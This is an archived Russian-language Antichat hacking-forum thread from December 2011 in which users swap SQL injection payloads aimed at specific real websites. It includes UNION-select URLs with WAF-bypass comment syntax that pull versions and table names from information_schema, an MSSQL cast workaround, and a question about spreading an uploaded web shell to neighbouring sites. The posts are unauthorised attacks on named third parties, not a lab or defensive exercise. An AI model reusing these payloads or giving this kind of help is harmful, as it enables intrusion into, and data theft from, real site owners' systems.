ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
29.12.2011, 20:44
|
|
Guest
Сообщений: n/a
Провел на форуме:
35174
Репутация:
-6
|
|
Код:
Code:
http://ogra.org.pk/cats_disp.php?cat=-172
It has 8 order by.
I cannot get tables.
It's WAF and I've tried all my WAF skills. |
|
|
|
29.12.2011, 21:33
|
|
Guest
Сообщений: n/a
Провел на форуме:
45774
Репутация:
26
|
|
Сообщение от lightangel
lightangel said:
Код:
Code:
http://ogra.org.pk/cats_disp.php?cat=-172
It has 8 order by.
I cannot get tables.
It's WAF and I've tried all my WAF skills. http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,version(),7,8--+
|
|
|
|
29.12.2011, 23:25
|
|
Guest
Сообщений: n/a
Провел на форуме:
35174
Репутация:
-6
|
|
Sorry, I mean tables and not the version.
I already had the version.
|
|
|
|
29.12.2011, 23:37
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,/*!table_name*/,7,8/**//*!from*//**/information_schema.%60tables%60--+
=\
|
|
|
30.12.2011, 00:27
|
|
Guest
Сообщений: n/a
Провел на форуме:
183267
Репутация:
84
|
|
http://www.traktora.com.ua/subcat.php?sort=1
Можно что-то выжать?
|
|
|
|
30.12.2011, 00:44
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от shadowrun
shadowrun said:
http://www.traktora.com.ua/subcat.php?sort=1
Можно что-то выжать?
можно, но из другого скрипта:
http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--
|
|
|
|
30.12.2011, 00:46
|
|
Guest
Сообщений: n/a
Провел на форуме:
183267
Репутация:
84
|
|
Сообщение от d1v
d1v said:
можно, но из другого скрипта:
http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--
Спасибо!
|
|
|
|
30.12.2011, 11:07
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879
Репутация:
5
|
|
MSSQL INJ
Сообщение от None
-12+union+select+@@version--
дает ответ
Сообщение от None
Microsoft SQL Native Client error '80040e14'
The ntext data type cannot be selected as DISTINCT because it is not comparable.
Возможно ли обойти DISTINCT в инъекции путем конверта или еще как то?
Спасибо |
|
|
|
30.12.2011, 11:26
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от jangle
jangle said:
MSSQL INJ
дает ответ
Возможно ли обойти
DISTINCT
в инъекции путем конверта или еще как то?
Спасибо
Select DISTINCT cast (Your Col Name as NVARCHAR(MAX))
|
|
|
|
30.12.2011, 11:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
74477
Репутация:
21
|
|
залил шелл на один сайт, потом решил залить на соседние сайты, все норм задивается но файл не находит, другие файлы с этой директории читает кроме моих, как можно решить проблему?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
